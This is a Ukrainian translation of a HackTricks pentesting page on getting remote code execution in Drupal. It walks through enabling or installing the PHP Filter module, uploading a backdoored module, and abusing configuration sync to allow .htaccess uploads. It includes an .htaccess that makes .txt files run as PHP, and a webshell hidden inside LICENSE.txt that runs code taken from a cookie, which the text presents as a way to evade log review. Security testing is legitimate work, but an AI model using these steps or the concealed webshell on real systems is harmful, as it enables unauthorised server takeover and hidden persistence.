Drupal RCE

Reading time: 7 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

З модулем PHP Filter

warning

У старіших версіях Drupal (до версії 8) було можливим увійти як адміністратор і увімкнути модуль PHP filter, який "дозволяє оцінювати вбудований PHP код/фрагменти." Але з версії 8 цей модуль не встановлюється за замовчуванням.

  1. Перейдіть до /modules/php і якщо повертається помилка 403, то плагін PHP filter встановлений, і ви можете продовжити
  2. Якщо ні, перейдіть до Modules і поставте галочку на PHP Filter, а потім натисніть Save configuration
  3. Потім, щоб експлуатувати це, натисніть на Add content, виберіть Basic Page або Article і напишіть PHP backdoor, потім виберіть PHP код у текстовому форматі і нарешті виберіть Preview
  4. Щоб активувати це, просто отримайте доступ до новоствореного вузла:
bash
curl http://drupal.local/node/3

Встановлення модуля PHP Filter

warning

У поточних версіях більше неможливо встановлювати плагіни, маючи доступ лише до вебу після стандартної установки.

З версії 8 і далі, модуль PHP Filter не встановлюється за замовчуванням. Щоб скористатися цією функціональністю, нам потрібно встановити модуль самостійно.

  1. Завантажте найновішу версію модуля з веб-сайту Drupal.
  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
  3. Після завантаження перейдіть до Administration > Reports > Available updates.
  4. Натисніть Browse, виберіть файл з директорії, куди ми його завантажили, а потім натисніть Install.
  5. Після встановлення модуля ми можемо натиснути на Content і створити нову базову сторінку, подібно до того, як ми робили в прикладі Drupal 7. Знову ж таки, не забудьте вибрати PHP code з випадаючого списку Text format.

Модуль з бекдором

warning

У поточних версіях більше неможливо встановлювати плагіни, маючи доступ лише до вебу після стандартної установки.

Було можливим завантажити модуль, додати до нього бекдор і встановити його. Наприклад, завантажуючи модуль Trurnstile у стиснутому форматі, створюючи новий файл PHP бекдору всередині нього, що дозволяє доступ до PHP файлу з файлом .htaccess:

html
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>

І потім перейти до http://drupal.local/admin/modules/install, щоб встановити модуль з бекдором і отримати доступ до /modules/turnstile/back.php, щоб виконати його.

Бекдоринг Drupal з синхронізацією конфігурації

Пост поділився Coiffeur0x90

Частина 1 (активація Media та Media Library)

У меню Extend (/admin/modules) ви можете активувати те, що здається плагінами, які вже встановлені. За замовчуванням плагіни Media та Media Library не активовані, тож давайте їх активуємо.

Перед активацією:

Після активації:

Частина 2 (використання функції Configuration synchronization)

Ми використаємо функцію Configuration synchronization, щоб скинути (експортувати) та завантажити (імпортувати) записи конфігурації Drupal:

  • /admin/config/development/configuration/single/export
  • /admin/config/development/configuration/single/import

Патч system.file.yml

Давайте почнемо з патчування першого запису allow_insecure_uploads з:

Файл: system.file.yml


...

allow_insecure_uploads: false

...

До:

Файл: system.file.yml


...

allow_insecure_uploads: true

...

Патч field.field.media.document.field_media_document.yml

Потім, патч другий запис file_extensions з:

File: field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

До:

Файл: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

Я не використовую це в цьому блозі, але зазначено, що можливо визначити вхід file_directory довільним чином і що він вразливий до атаки обходу шляху (тому ми можемо піднятися назад у дереві файлової системи Drupal).

Частина 3 (використання функції Додати документ)

Останній крок є найпростішим і поділений на два підкроки. Перший - завантажити файл у форматі .htaccess, щоб використати директиви Apache і дозволити файлам .txt інтерпретуватися PHP-движком. Другий - завантажити файл .txt, що містить наш payload.

Файл: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

Чому цей трюк класний?

Тому що, як тільки Webshell (який ми назвемо LICENSE.txt) буде завантажено на веб-сервер, ми зможемо передавати наші команди через $_COOKIE, і в журналах веб-сервера це з'явиться як легітимний GET запит до текстового файлу.

Чому ми називаємо наш Webshell LICENSE.txt?

Просто тому, що якщо ми візьмемо наступний файл, наприклад core/LICENSE.txt (який вже присутній в ядрі Drupal), ми маємо файл з 339 рядків і 17.6 КБ розміру, що ідеально підходить для додавання невеликого фрагмента PHP коду посередині (оскільки файл достатньо великий).

Файл: Виправлений LICENSE.txt

txt

...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

Частина 3.1 (завантажити файл .htaccess)

Спочатку ми використовуємо функцію Add Document (/media/add/document) для завантаження нашого файлу, що містить директиви Apache (.htaccess).

Частина 3.2 (завантажити файл LICENSE.txt)

Потім ми знову використовуємо функцію Add Document (/media/add/document) для завантаження Webshell, прихованого в ліцензійному файлі.

Частина 4 (взаємодія з Webshell)

Остання частина полягає у взаємодії з Webshell.

Як показано на наступному скріншоті, якщо cookie, очікуваний нашим Webshell, не визначено, ми отримуємо наступний результат при зверненні до файлу через веб-браузер.

Коли атакуючий встановлює cookie, він може взаємодіяти з Webshell і виконувати будь-які команди, які хоче.

І, як ви можете бачити в журналах, здається, що запитувався лише txt файл.

Дякуємо, що знайшли час прочитати цю статтю, сподіваюся, вона допоможе вам отримати кілька оболонок.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks